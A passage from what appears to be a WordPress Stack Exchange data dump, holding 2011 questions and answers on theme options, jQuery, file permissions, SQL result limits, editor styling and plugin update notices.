  <row Id="25327" PostTypeId="1" AcceptedAnswerId="25379" CreationDate="2011-08-08T18:26:19.323" Score="2" ViewCount="67" Body="&lt;p&gt;I have a landscaping09 theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A theme options page with the following options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;Theme color background change (with colorpicker) or url of the image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;General Navbar color background change (with colorpicker) or url of the image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;Header color background change (with colorpicker) or url of the image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;Set up header height &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;Navbar color background change (with colorpicker) or url of the image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;Navbar hover color background change (with colorpicker) or url of the image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;Footer color background change (with colorpicker) or url of the image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;additional css code box&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please let me know how to do it or any plugin will do these things? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help me.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-08-09T05:22:45.607" Title="How to add Color Picker in Theme Options for the following?" Tags="&lt;theme-development&gt;&lt;plugin-recommendation&gt;&lt;theme-options&gt;&lt;child-theme&gt;&lt;color-picker&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25329" PostTypeId="1" AcceptedAnswerId="25331" CreationDate="2011-08-08T18:45:14.087" Score="1" ViewCount="54" Body="&lt;p&gt;I'm guessing this is a really dumb question, but I'm far more familiar with PHP/WordPress and I'm just getting started with jQuery so I'm not even sure what to search on. Is there a way to pass the output of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_blogifo('siteurl')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To jQuery? I'm trying to get this to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a.getstarted').attr('href', '&amp;lt;?php echo get_bloginfo('siteurl'); ?&amp;gt;/payroll-deduction-authorization/?plan=basic');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-08T19:01:13.780" Title="How do I pass WordPress's get_bloginfo('siteurl') to Jquery?" Tags="&lt;jquery&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="25330" PostTypeId="2" ParentId="25291" CreationDate="2011-08-08T18:59:08.510" Score="0" ViewCount="" Body="&lt;p&gt;To easily change permissions, use FTP. See &lt;a href=&quot;http://filezilla-project.org/&quot; rel=&quot;nofollow&quot;&gt;Filezilla&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/FTP_Clients&quot; rel=&quot;nofollow&quot;&gt;FTP Clients « WordPress Codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://codex.wordpress.org/Changing_File_Permissions&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Changing_File_Permissions&lt;/a&gt; - &lt;strong&gt;under no circumstances should any directory be 777:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No directories should ever be given 777, even upload directories.&#xA;  Since the php process is running as the owner of the files, it gets&#xA;  the owners permissions and can write to even a 755 directory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In some cases,&lt;/em&gt; you may need to toggle a directory to 777 to upload one image before changing back to 755.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And see &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Hardening_WordPress&lt;/a&gt; for more security info on file/folder permissions.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-08T18:59:08.510" />
  <row Id="25331" PostTypeId="2" ParentId="25329" CreationDate="2011-08-08T19:01:13.780" Score="4" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;wp_localize_script()&lt;/a&gt; to pass variables to the front end so that you can pick them by javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script( 'some_handle' );&#xA;$data = array( 'some_string' =&amp;gt; __( 'Some string to translate' ) );&#xA;wp_localize_script( 'some_handle', 'object_name', $data );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And pick it up like &lt;code&gt;object_name.some_string&lt;/code&gt; in javascript code.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-08T19:01:13.780" CommentCount="2" />
  <row Id="25332" PostTypeId="2" ParentId="25284" CreationDate="2011-08-08T19:13:16.027" Score="0" ViewCount="" Body="&lt;p&gt;How about a custom menu walker? &lt;a href=&quot;http://erikshosting.com/wordpress-tips-code/building-a-wordpress-walker-creating-custom-dynamic-menu-outputs/&quot; rel=&quot;nofollow&quot;&gt;http://erikshosting.com/wordpress-tips-code/building-a-wordpress-walker-creating-custom-dynamic-menu-outputs/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-08-08T19:13:16.027" />
  <row Id="25333" PostTypeId="1" CreationDate="2011-08-08T19:53:36.103" Score="0" ViewCount="13" Body="&lt;p&gt;I have a site visibility in privacy settings set to allow search engines to see my site but for some reason when i go to the auto generated robots.txt file it shows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User-agent: *&#xA;Disallow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;switching site visibility merely adds/removes a trailing slash ie &quot;Disallow: /&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have 2 related plugins &quot;all in one seo tools&quot; and &quot;google xml sitemaps&quot; but i disabled both of these to no avail &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas anyone .... i know how to override this with a manual sitemap but i'm trying to find out whether this is WordPress intended behavior and if so why&lt;/p&gt;&#xA;" OwnerUserId="6169" LastActivityDate="2011-08-09T00:54:15.330" Title="auto generated robots.txt problem" Tags="&lt;wp-admin&gt;&lt;seo&gt;&lt;robots&gt;&lt;privacy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25334" PostTypeId="1" AcceptedAnswerId="25335" CreationDate="2011-08-08T20:00:38.200" Score="0" ViewCount="15" Body="&lt;p&gt;We have a large wp install that is freezing up whenever an editor hits &quot;publish&quot;. It seems that the culprit is the pinging processes that run, such as re-building the sitemap, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to move most of these processes to the background so that the site doesn't hold up until the processes are complete?&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-08-08T20:12:29.593" Title="How to move post process to background" Tags="&lt;publish&gt;&lt;wp-cron&gt;&lt;background-process&gt;" AnswerCount="1" />
  <row Id="25335" PostTypeId="2" ParentId="25334" CreationDate="2011-08-08T20:12:29.593" Score="1" ViewCount="" Body="&lt;p&gt;Pinging and similar is all done in the background already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a plugin rebuilding a sitemap or something, then consider using a different plugin which doesn't have the same rebuilding time issue.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-08T20:12:29.593" CommentCount="1" />
  <row Id="25336" PostTypeId="1" CreationDate="2011-08-08T20:20:59.283" Score="1" ViewCount="35" Body="&lt;p&gt;This may sound simple, but it's not :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want, and most likely many theme developers do (themes that use javascript / jquery), is to warn the theme user that his site has javascript errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my themes at least, in about 95% of these error situations, the problem comes from  outdated / badly-written installed plugins. The other 5% comes from conflicts between up-to-date plugins and the theme. So my message would suggest the user to check his plugins one by one and fix the issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a solution for this, but only for the dashboard (in my theme settings). Essentially what I'm doing is loading the home page inside an iframe and wait 5 seconds for a function inside the iframe's &lt;code&gt;document.ready()&lt;/code&gt; to send me the &quot;OK&quot; message. If it doesn't come, I display the error (I'm using &lt;a href=&quot;http://postmessage.freebaseapps.com/&quot; rel=&quot;nofollow&quot;&gt;postMessage&lt;/a&gt; to communicate with the iframe document).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, my question is how can I do this from the front page too?&#xA;Without using pm, because it's too heavy (in the theme settings it's ok, because it's used for live design tweaks too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other unreliable solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add the message just after &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;, and hide it with javascript (with js after the message); the problem is that errors might come up after the check&lt;/li&gt;&#xA;&lt;li&gt;add the message anywhere in the HTML, and remove it with jQuery on document.ready; unacceptable because the user sees the message for 2-3 seconds, during which the site is loaded...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-08-08T20:26:08.360" LastActivityDate="2011-08-08T20:26:08.360" Title="Auto-detect javascript errors and warn theme user" Tags="&lt;jquery&gt;&lt;javascript&gt;&lt;error-handling&gt;" CommentCount="3" />
  <row Id="25337" PostTypeId="1" CreationDate="2011-08-08T21:08:11.920" Score="0" ViewCount="13" Body="&lt;p&gt;1.x site that has 4 administrators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Settings-&gt;Discussion page I have set : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E-mail me whenever :  ✓ A comment is held for moderation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before a comment appears : ✓ An administrator must always approve the comment &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I really want one person to be in charge of moderation.  I don't want to have to spam all 4 administrators if I don't have to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin or configuration I can change to allow only one person to receive the emails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I see it, I can either downgrade 3 people from Admin to Editor or I can help them set up an email filter to ignore the email noise.&lt;/p&gt;&#xA;" OwnerUserId="3058" LastActivityDate="2011-08-08T21:08:11.920" Title="How to send email to one administrator when a comment is held for moderation?" Tags="&lt;comments&gt;&lt;admin&gt;&lt;moderation&gt;" CommentCount="0" />
  <row Id="25338" PostTypeId="1" CreationDate="2011-08-08T21:18:15.910" Score="0" ViewCount="33" Body="&lt;p&gt;The site is meant for artists to showcase their work, so that buyers can purchase their work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are my requirements. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Author be able to create accounts and upload images, see what images they have uploaded in the past and which of them have been sold.&lt;/li&gt;&#xA;&lt;li&gt;A gallery be created from the images, which are basically products. So the images will have attributes like price, size, type&lt;/li&gt;&#xA;&lt;li&gt;The images be sortable by the attributes mentioned above.&lt;/li&gt;&#xA;&lt;li&gt;Buyers also have account where they can track purchases.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, basically its a sort of marketplace with images being the product to sell, artists being the seller, anyone else being the buyer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was overwhelmed by the choices of gallery pluggins available. Anyone having experience with this sort of work, please suggest some pluggins.&lt;/p&gt;&#xA;" OwnerUserId="7736" LastEditorUserId="7748" LastEditorDisplayName="" LastEditDate="2011-08-09T06:35:30.337" LastActivityDate="2011-08-09T06:35:30.337" Title="Suitable plugins for creating art gallery / marketplace" Tags="&lt;plugin-recommendation&gt;&lt;gallery&gt;&lt;e-commerce&gt;" CommentCount="3" />
  <row Id="25339" PostTypeId="2" ParentId="12654" CreationDate="2011-08-08T21:24:50.280" Score="0" ViewCount="" Body="&lt;p&gt;If you want to limit &lt;code&gt;get_the_category&lt;/code&gt; to any number you can use &lt;code&gt;break;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if you want to limit echoing a category + link to show say only 5 categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     $i = 0;&#xA;      foreach((get_the_category()) as $cat) {&#xA;        echo '&amp;lt;a href=&quot;'.get_category_link($cat-&amp;gt;cat_ID).'&quot;&amp;gt; | ' . $cat-&amp;gt;cat_name . '&amp;lt;/a&amp;gt;';&#xA;        if (++$i == 5) break;&#xA;      } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-08T21:24:50.280" />
  <row Id="25341" PostTypeId="1" AcceptedAnswerId="25343" CreationDate="2011-08-08T21:38:22.993" Score="0" ViewCount="21" Body="&lt;p&gt;I was making minor changes to &lt;code&gt;functions.php&lt;/code&gt; file but just as I made the changes I  got an error, I used &lt;code&gt;FileZilla&lt;/code&gt; and undo the function I added but now I am getting the following error,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined function add_action() in&#xA;  /home/content/93/7877293/html/wordpress/wp-includes/functions.php on&#xA;  line 51&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am sure that the file is now in its original condition. Can anyone help me by suggesting me how to deal with it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2011-08-08T21:46:21.343" Title="Error after editing functions.php" Tags="&lt;functions&gt;" AnswerCount="1" />
  <row Id="25342" PostTypeId="1" CreationDate="2011-08-08T21:44:15.923" Score="0" ViewCount="4" Body="&lt;p&gt;It is possible to display the archive in wordpress like the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Term 4&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Week 1&lt;/li&gt;&#xA;&lt;li&gt;Week 2&lt;/li&gt;&#xA;&lt;li&gt;Week 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Term 3&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Week 1  &lt;/li&gt;&#xA;&lt;li&gt;Week 2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each period can be defined within a custom date. As you can probably determine from the above, the site will be used as a newsletter for a school.&lt;/p&gt;&#xA;" OwnerUserId="7722" LastActivityDate="2011-08-08T21:44:15.923" Title="Custom Archiving Based on 'Term 4, Week One' etc" Tags="&lt;archive&gt;" />
  <row Id="25343" PostTypeId="2" ParentId="25341" CreationDate="2011-08-08T21:46:21.343" Score="2" ViewCount="" Body="&lt;p&gt;You're not supposed to edit &lt;code&gt;wp-includes/functions.php&lt;/code&gt; but &lt;code&gt;wp-content/themes/your-theme/functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-08T21:46:21.343" CommentCount="4" />
  <row Id="25344" PostTypeId="1" CreationDate="2011-08-08T21:46:33.580" Score="0" ViewCount="22" Body="&lt;p&gt;I have a post type, referred to as &quot;Press Release&quot; and another called &quot;People&quot;.  I need to be able to connect the two together.  MY end goal is to have a drop down of &quot;People&quot; post types within the &quot;Press Release&quot; post type that allows you to select an author.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to create relational post types and am I using that term correctly?&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2011-08-08T22:06:47.020" Title="How do you make relational post types in Wordpress?" Tags="&lt;custom-post-types&gt;&lt;database&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25345" PostTypeId="1" CreationDate="2011-08-08T21:48:00.927" Score="1" ViewCount="32" Body="&lt;p&gt;I've just started using the attachment.php template on my site.  What I'd like to do is redirect all images in posts that used 'file url' to 'post url' and my new attachment.php template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EB&lt;/p&gt;&#xA;" OwnerUserId="7738" LastActivityDate="2011-08-08T22:49:31.193" Title="How to redirect 'file url' to 'post url' i.e. in attachment.php" Tags="&lt;attachments&gt;&lt;redirect&gt;&lt;image&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="25346" PostTypeId="2" ParentId="25344" CreationDate="2011-08-08T22:06:47.020" Score="1" ViewCount="" Body="&lt;p&gt;There are several ways to do this. Do you really need a whole post type for People? You could do this as a custom taxonomy and assign it to the Press Release post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a custom user role, and then utilize that to assign an &quot;author&quot; to each Press Release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep everything you have now as is, your best bet would be to create a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;custom meta box&lt;/a&gt;, which populates a select field with all of the &quot;People&quot; listed in it. Then save it using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_post_meta&quot; rel=&quot;nofollow&quot;&gt;update_post_meta()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also utilize the post_parent field and assign the ID of the &quot;People&quot; post to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, there are several options. Perhaps others have more.&lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-08T22:06:47.020" />
  <row Id="25347" PostTypeId="2" ParentId="25345" CreationDate="2011-08-08T22:37:10.123" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Take a look at the solution on the WordPress Support Forum:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/redirect-attachment-page-to-post-page-how-to&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/redirect-attachment-page-to-post-page-how-to&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-08T22:37:10.123" CommentCount="1" />
  <row Id="25348" PostTypeId="1" CreationDate="2011-08-08T22:40:11.773" Score="0" ViewCount="34" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3725/wordpress-frameworks-and-parent-themes&quot;&gt;WordPress frameworks and parent themes&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Just curious do you guys often start from scratch or do you use frameworks such as Starkers? I've found that I myself often start with twentyten as a base and then work through it, stripping out whatever feature I don't need. Since I often do CMS kind of work, I've realized that I strip out almost everything that where there from the start. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do you guys go about a project? If you generalize.&lt;br&gt;&#xA;I've heard that Starkers is great, but are there any other alternatives out there?&lt;/p&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-08-08T23:35:54.100" ClosedDate="2011-08-08T23:41:13.483" Title="Wordpress frameworks – Are you still using Starkers?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;framework&gt;&lt;theme-starkers&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="25349" PostTypeId="2" ParentId="25345" CreationDate="2011-08-08T22:49:31.193" Score="0" ViewCount="" Body="&lt;p&gt;Link to the image file using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_link( $id, $size, $permalink, $icon, $text )&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$id&lt;/code&gt; is the attachment ID, which, if using &lt;code&gt;attachment.php&lt;/code&gt;, will simply be &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$size&lt;/code&gt; is the image size, e.g. &lt;code&gt;full&lt;/code&gt;, &lt;code&gt;large&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, &lt;code&gt;thumbnail&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;$permalink&lt;/code&gt; determines whether a link to the &lt;em&gt;file&lt;/em&gt; or &lt;em&gt;post&lt;/em&gt; is returned. Use &lt;code&gt;false&lt;/code&gt; (which is the default) to link to the &lt;em&gt;file&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$icon&lt;/code&gt; refers to a mime-type icon. Leave &lt;code&gt;false&lt;/code&gt;, which is default&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$text&lt;/code&gt; displays a text link. Leave &lt;code&gt;false&lt;/code&gt;, which is default&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-08T22:49:31.193" CommentCount="2" />
  <row Id="25350" PostTypeId="1" AcceptedAnswerId="25351" CreationDate="2011-08-08T23:06:43.567" Score="2" ViewCount="32" Body="&lt;p&gt;How can I limit the amount of results returned?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = $wpdb-&amp;gt;get_col(&quot;&#xA;    SELECT ID FROM $wpdb-&amp;gt;posts&#xA;    WHERE post_type = 'attachment'&#xA;    AND ID in ($meta)&#xA;    ORDER BY menu_order ASC&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5698" LastActivityDate="2011-08-09T13:47:12.710" Title="Limit amount of results returned" Tags="&lt;posts&gt;&lt;attachments&gt;" AnswerCount="2" />
  <row Id="25351" PostTypeId="2" ParentId="25350" CreationDate="2011-08-08T23:10:55.493" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$images = $wpdb-&amp;gt;get_col(&quot;&#xA;    SELECT ID FROM $wpdb-&amp;gt;posts&#xA;    WHERE post_type = 'attachment'&#xA;    AND ID in ($meta)&#xA;    ORDER BY menu_order ASC&#xA;    LIMIT 5&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like @Kaiser suggested you can specify a range (5th to 20th results, a total of 15 results are returned at max) like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = $wpdb-&amp;gt;get_col(&quot;&#xA;    SELECT ID FROM $wpdb-&amp;gt;posts&#xA;    WHERE post_type = 'attachment'&#xA;    AND ID in ($meta)&#xA;    ORDER BY menu_order ASC&#xA;    LIMIT 5,20&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-08-09T13:47:12.710" LastActivityDate="2011-08-09T13:47:12.710" CommentCount="3" />
  <row Id="25352" PostTypeId="1" CreationDate="2011-08-08T23:17:53.903" Score="0" ViewCount="18" Body="&lt;p&gt;I've collapsed the admin side nav.  That worked.  Browsing around shows the menu still collapsed.  If I press the toggle again the menu expands.  But, if I browse on further, the next page shows the nav collapsed again.  Why won't it remember that I want it expanded?&lt;/p&gt;&#xA;" OwnerUserId="6843" LastActivityDate="2011-08-08T23:17:53.903" Title="Admin collapsed menu won't stay open" Tags="&lt;admin&gt;&lt;menus&gt;&lt;collapse&gt;" CommentCount="1" />
  <row Id="25353" PostTypeId="2" ParentId="25350" CreationDate="2011-08-08T23:29:48.133" Score="2" ViewCount="" Body="&lt;p&gt;Why not just use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts#Show_attachments_for_the_current_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt;&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$attachments = get_posts( array(&#xA;    'post_type' =&amp;gt; 'attachment', // post attachments&#xA;    'post_mime_type' =&amp;gt; 'image', // only images&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID,  // children of the current post&#xA;    'number_posts' =&amp;gt; 5          // &amp;lt;-- THIS IS THE NUMBER OF POSTS LIMIT&#xA;) );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;always&lt;/em&gt; prefer function calls to raw DB queries.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-08T23:29:48.133" CommentCount="4" />
  <row Id="25354" PostTypeId="2" ParentId="25348" CreationDate="2011-08-08T23:35:54.100" Score="0" ViewCount="" Body="&lt;p&gt;It really depends on the project, but if I need a base from which to start, &lt;a href=&quot;http://wordpress.org/extend/themes/oenology&quot; rel=&quot;nofollow&quot;&gt;I use my own&lt;/a&gt; (since I wrote it, and know it inside-out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I generally reserve the term &lt;em&gt;framework&lt;/em&gt; for a set of drop-in code used to &lt;em&gt;build&lt;/em&gt; a Theme, rather than a &quot;blank&quot; Theme.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-08T23:35:54.100" />
  <row Id="25355" PostTypeId="1" AcceptedAnswerId="25391" CreationDate="2011-08-08T23:53:25.233" Score="0" ViewCount="24" Body="&lt;p&gt;I have a Wordpress site in which the background color is black and the text is white.   The site is fine, but it's a pain trying to edit content in the visual editor as the background is white (same color as the text).  I end up having to tell users to use the HTML view or write up the content in black color text and then at the end just select all the text and flip it to white (in which case many of them freak out and think their text is now deleted!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I change the background color of the editor to black (or any other color) so that the content can be readable if the text color is to be white?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2365" LastActivityDate="2011-08-09T08:38:38.357" Title="How do you change the visual editor's background color?" Tags="&lt;visual-editor&gt;" AnswerCount="2" />
  <row Id="25358" PostTypeId="1" AcceptedAnswerId="25432" CreationDate="2011-08-09T00:02:21.607" Score="0" ViewCount="31" Body="&lt;p&gt;I have a plugin that I know I never want to update. I am aware that this is NOT best practice, but in this case it must be done. Is there any way to stop WordPress from prompting me to auto-update a particular plugin (but still alert as normal for all other plugins).&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-09T15:42:43.023" Title="Turn Off Auto Update for Single Plugin" Tags="&lt;plugins&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="25359" PostTypeId="2" ParentId="25355" CreationDate="2011-08-09T00:10:04.760" Score="1" ViewCount="" Body="&lt;p&gt;First, add a CSS file in your theme directory (I'm calling it tiny.css). Then add the following to your theme's functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add custom styles to TinyMCE editor&#xA;if ( ! function_exists('tdav_css') ) {&#xA;    function tdav_css($wp) {&#xA;        $wp .= ',' . get_bloginfo('stylesheet_directory') . '/tiny.css';&#xA;        return $wp;&#xA;    }&#xA;}&#xA;add_filter( 'mce_css', 'tdav_css' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, add this CSS to tiny.css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.mceContentBody.wp-editor {&#xA;    background-color:#000000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... replacing #000000 with the &lt;a href=&quot;http://html-color-codes.info/&quot; rel=&quot;nofollow&quot;&gt;HTML color code&lt;/a&gt; of what color you'd like it to be.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastEditorUserId="2001" LastEditorDisplayName="" LastEditDate="2011-08-09T00:22:13.150" LastActivityDate="2011-08-09T00:22:13.150" CommentCount="2" />
  <row Id="25361" PostTypeId="2" ParentId="25358" CreationDate="2011-08-09T00:37:41.213" Score="0" ViewCount="" Body="&lt;p&gt;you place this in your theme's functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Disable update notification for individual plugins - see my example of plugin block-spam-by-math-reloaded as to how to use this function&#xA;function filter_plugin_updates( $value ) {    &#xA;unset( $value-&amp;gt;response['block-spam-by-math-reloaded/block-spam-by-math-reloaded.php'] );    &#xA;return $value;&#xA;}&#xA;add_filter( 'site_transient_update_plugins', 'filter_plugin_updates' );&#xA;&#xA;// Google +1 button&#xA;add_filter('the_content', 'google_plusone');&#xA;&#xA;    function google_plusone($content) {&#xA;        $content = $content.'&amp;lt;div class=&quot;plusone&quot;&amp;gt;&amp;lt;g:plusone size=&quot;medium&quot; href=&quot;'.get_permalink().'&quot;&amp;gt;&amp;lt;/g:plusone&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        return $content;&#xA;    }&#xA;&#xA;    add_action ('wp_enqueue_scripts','google_plusone_script');&#xA;&#xA;    function google_plusone_script() {&#xA;        wp_enqueue_script('google-plusone', 